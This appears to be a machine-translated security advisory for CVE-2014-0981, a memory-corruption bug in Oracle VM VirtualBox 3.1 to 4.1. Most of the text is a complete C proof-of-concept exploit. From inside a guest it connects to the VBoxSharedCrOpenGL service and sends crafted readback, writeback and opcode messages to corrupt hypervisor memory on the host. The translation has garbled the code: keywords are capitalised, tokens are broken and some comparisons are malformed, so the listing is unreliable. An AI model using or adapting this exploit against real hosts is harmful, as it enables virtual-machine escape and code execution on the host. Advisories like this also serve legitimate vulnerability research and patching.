Release date:
Updated on:
Affected Systems:
Oracle VM VirtualBox 4.1
Oracle VM VirtualBox 4.0
Oracle VM VirtualBox 3.2
Oracle VM VirtualBox 3.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 66131
CVE (CAN) ID: CVE-2014-0981
VirtualBox is a x86 virtualization product.
Oracle VM VirtualBox has a memory corruption vulnerability in the implementation of the crNetRecvReadback () function. Attackers can exploit this vulnerability to execute arbitrary code in the context of the management program running in the host operating system.
<* Source: CoreLabs (http://www.coresecurity.com/corelabs)
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
# Include "stdafx. h"
# Include <windows. h>
# Include "vboxguest2.h"
# Include "vboxguest. h"
# Include "err. h"
# Include "vboxcropenglsvc. h"
# Include "cr_protocol.h"
# Define VBOXGUEST_DEVICE_NAME "\\\\. \ VBoxGuest"
HANDLE open_device (){
HANDLE hDevice = CreateFile (VBOXGUEST_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
File_pai_read | file_pai_write,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );
If (hDevice = INVALID_HANDLE_VALUE ){
Printf ("[-] cocould not open device % s. \ n", VBOXGUEST_DEVICE_NAME );
Exit (EXIT_FAILURE );
}
Printf ("[+] Handle to % s: 0x % X \ n", VBOXGUEST_DEVICE_NAME, hDevice );
Return hDevice;
}
Uint32_t do_connect (HANDLE hDevice ){
VBoxGuestHGCMConnectInfo info;
DWORD cbReturned = 0;
BOOL rc;
Memset (& info, 0, sizeof (info ));
Info. Loc. type = VMMDevHGCMLoc_LocalHost_Existing;
Strcpy (info. Loc. u. host. achName, "VBoxSharedCrOpenGL ");
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, & info,
Sizeof (info), & info, sizeof (info), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function do_connect ()!
LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (info. result = VINF_SUCCESS ){
Printf ("HGCM connect was successful: client id = 0x % x \ n ",
Info. u32ClientID );
}
Else {
// If 3D Acceleration is disabled, info. result value will be-2900.
Printf ("[-] HGCM connect failed. Result: % d (Is 3D Acceleration
Enabled ??) \ N ", info. result );
Exit (EXIT_FAILURE );
}
Return info. u32ClientID;
}
Void do_disconnect (HANDLE hDevice, uint32_t u32ClientID ){
BOOL rc;
VBoxGuestHGCMDisconnectInfo info;
DWORD cbReturned = 0;
Memset (& info, 0, sizeof (info ));
Info. u32ClientID = u32ClientID;
Printf ("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message... \ n ");
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
& Info, sizeof (info), & info, sizeof (info), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Do_disconnect ()! LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (info. result = VINF_SUCCESS ){
Printf ("HGCM disconnect was successful. \ n ");
}
Else {
Printf ("[-] HGCM disconnect failed. Result: % d \ n", info. result );
Exit (EXIT_FAILURE );
}
}
Void set_version (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMSETVERSION parms;
DWORD cbReturned = 0;
BOOL rc;
Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_SET_VERSION;
Parms. hdr. cParms = SHCRGL_CPARMS_SET_VERSION;
Parms. vMajor. type = VMMDevHGCMParmType_32bit;
Parms. vMajor. u. value32 = CR_PROTOCOL_VERSION_MAJOR;
Parms. vMinor. type = VMMDevHGCMParmType_32bit;
Parms. vMinor. u. value32 = CR_PROTOCOL_VERSION_MINOR;
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function set_version ()!
LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("Host didn't accept our version. \ n ");
Exit (EXIT_FAILURE );
}
}
Void set_pid (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMSETPID parms;
DWORD cbReturned = 0;
BOOL rc;
Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_SET_PID;
Parms. hdr. cParms = SHCRGL_CPARMS_SET_PID;
Parms. u64PID. type = VMMDevHGCMParmType_64bit;
Parms. u64PID. u. value64 = GetCurrentProcessId ();
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function set_pid ()!
LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("Host didn't like our PID % d \ n", GetCurrentProcessId ());
Exit (EXIT_FAILURE );
}
}
/* Triggers the vulnerability in the crNetRecvReadback function .*/
Void trigger_message_readback (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
Char mybuf [1024];
CRMessageReadback msg;
Memset (& msg, 0, sizeof (msg ));
Msg. header. type = CR_MESSAGE_READBACK;
Msg. header. conn_id = 0 x8899;
// This address will be decremented by 1
* (DWORD *) & msg. writeback_ptr.ptrSize) = 0x88888888;
// Destination address for the memcpy
* (DWORD *) & msg. readback_ptr.ptrSize) = 0x99999999;
Memcpy (& mybuf, & msg, sizeof (msg ));
Strcpy (mybuf + sizeof (msg), "Hi hypervisor! ");
Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_INJECT;
Parms. hdr. cParms = SHCRGL_CPARMS_INJECT;
Parms. u32ClientID. type = VMMDevHGCMParmType_32bit;
Parms. u32ClientID. u. value32 = u32ClientID;
Parms. pBuffer. type = VMMDevHGCMParmType_LinAddr_In;
Parms. pBuffer. u. Pointer. size = sizeof (mybuf); // size for
Memcpy: sizeof (mybuf)-0x18
Parms. pBuffer. u. Pointer. u. linearAddr = (uintptr_t) mybuf;
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Trigger_message_readback ()!. LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("HGCM Call failed. Result: % d \ n", parms. hdr. result );
Exit (EXIT_FAILURE );
}
}
/* Triggers the vulnerability in the crNetRecvWriteback function .*/
Void trigger_message_writeback (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
Char mybuf [512];
CRMessage msg;
Memset (& mybuf, 0, sizeof (mybuf ));
Memset (& msg, 0, sizeof (msg ));
Msg. writeback. header. type = CR_MESSAGE_WRITEBACK;
Msg. writeback. header. conn_id = 0x8899;
// This address will be decremented by 1
* (DWORD *) msg. writeback. writeback_ptr.ptrSize) = 0 xAABBCCDD;
Memcpy (& mybuf, & msg, sizeof (msg ));
Strcpy (mybuf + sizeof (msg), "dummy ");
Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_INJECT;
Parms. hdr. cParms = SHCRGL_CPARMS_INJECT;
Parms. u32ClientID. type = VMMDevHGCMParmType_32bit;
Parms. u32ClientID. u. value32 = u32ClientID;
Parms. pBuffer. type = VMMDevHGCMParmType_LinAddr_In;
Parms. pBuffer. u. Pointer. size = sizeof (mybuf );
Parms. pBuffer. u. Pointer. u. linearAddr = (uintptr_t) mybuf;
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Trigger_message_writeback ()! LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("HGCM Call failed. Result: % d \ n", parms. hdr. result );
Exit (EXIT_FAILURE );
}
}
/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB
Function .*/
Void trigger_opcode_0xea (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMINJECT parms;
Char mybuf [0x10f0];
DWORD cbReturned = 0;
BOOL rc;
Unsigned char opcodes [] = {0xFF, 0xea, 0x02, 0xf7 };
DWORD opcode_data [] =
{0x08, // Advance 8 bytes
After executing opcode 0xF7, subopcode 0x30
0x30, // Subopcode for opcode 0xF7
0x331, // Argument for opcode 0x02
0xFFFCFA4B, // This is
Negative index used to trigger the memory upload uption
0x41414141}; // Junk
CRMessageOpcodes msg_opcodes;
Memset (& mybuf, 0, sizeof (mybuf ));
Memset (& msg_opcodes, 0, sizeof (msg_opcodes ));
Ms g_opcodes.header.conn_id = 0x8899;
Msg_opcodes.header.type = CR_MESSAGE_OPCODES;
Msg_opcodes.numOpcodes = sizeof (opcodes );
Char * offset = (char *) & mybuf;
Memcpy (offset, & msg_opcodes, sizeof (msg_opcodes ));
Offset + = sizeof (msg_opcodes );
/* ----- Opcodes -----*/
Memcpy (offset, & opcodes, sizeof (opcodes ));
Offset + = sizeof (opcodes );
/* ----- Data for the opcodes -----*/
Memcpy (offset, & opcode_data, sizeof (opcode_data ));
Offset + = sizeof (opcode_data );
Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = 0;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_INJECT;
Parms. hdr. cParms = SHCRGL_CPARMS_INJECT;
Parms. u32ClientID. type = VMMDevHGCMParmType_32bit;
Parms. u32ClientID. u. value32 = u32ClientID;
Parms. pBuffer. type = VMMDevHGCMParmType_LinAddr_In;
Parms. pBuffer. u. Pointer. size = sizeof (mybuf );
Parms. pBuffer. u. Pointer. u. linearAddr = (uintptr_t) mybuf;
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Trigger_opcode_0xea ()! LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}
If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("HGCM Call failed. Result: % d \ n", parms. hdr. result );
Exit (EXIT_FAILURE );
}
}
Void poc (int option ){
HANDLE hDevice;
Uint32_t u32ClientID;
/* Connect to the VBoxSharedCrOpenGL service */
HDevice = open_device ();
U32ClientID = do_connect (hDevice );
/* Set version and PID */
Set_version (hDevice, u32ClientID );
Set_pid (hDevice, u32ClientID );
Switch (option ){
Case 1:
Printf ("[1] triggering the first bug... \ n ");
Trigger_message_readback (hDevice, u32ClientID );
Break;
Case 2:
Printf ("[2] triggering the second bug... \ n ");
Trigger_message_writeback (hDevice, u32ClientID );
Break;
Case 3:
Printf ("[3] triggering the third bug... \ n ");
Trigger_opcode_0xea (hDevice, u32ClientID );
Break;
Default:
Printf ("[!] Unknown option % d. \ n ", option );
}
/* Disconnect from the VBoxSharedCrOpenGL service */
Do_disconnect (hDevice, u32ClientID );
CloseHandle (hDevice );
}
Int main (int argc, char * argv [])
{
If (argc <2 ){
Printf ("Usage: % s <option number> \ n", argv [0]);
Printf ("* Option 1: trigger the vulnerability in
CrNetRecvReadback function. \ n ");
Printf ("* Option 2: trigger the vulnerability in
CrNetRecvWriteback function. \ n ");
Printf ("* Option 3: trigger the vulnerability in
CrServerDispatchVertexAttrib4NubARB function. \ n ");
Exit (1 );
}
Poc (atoi (argv [1]);
}
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Oracle
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://www.oracle.com/technetwork/topics/security/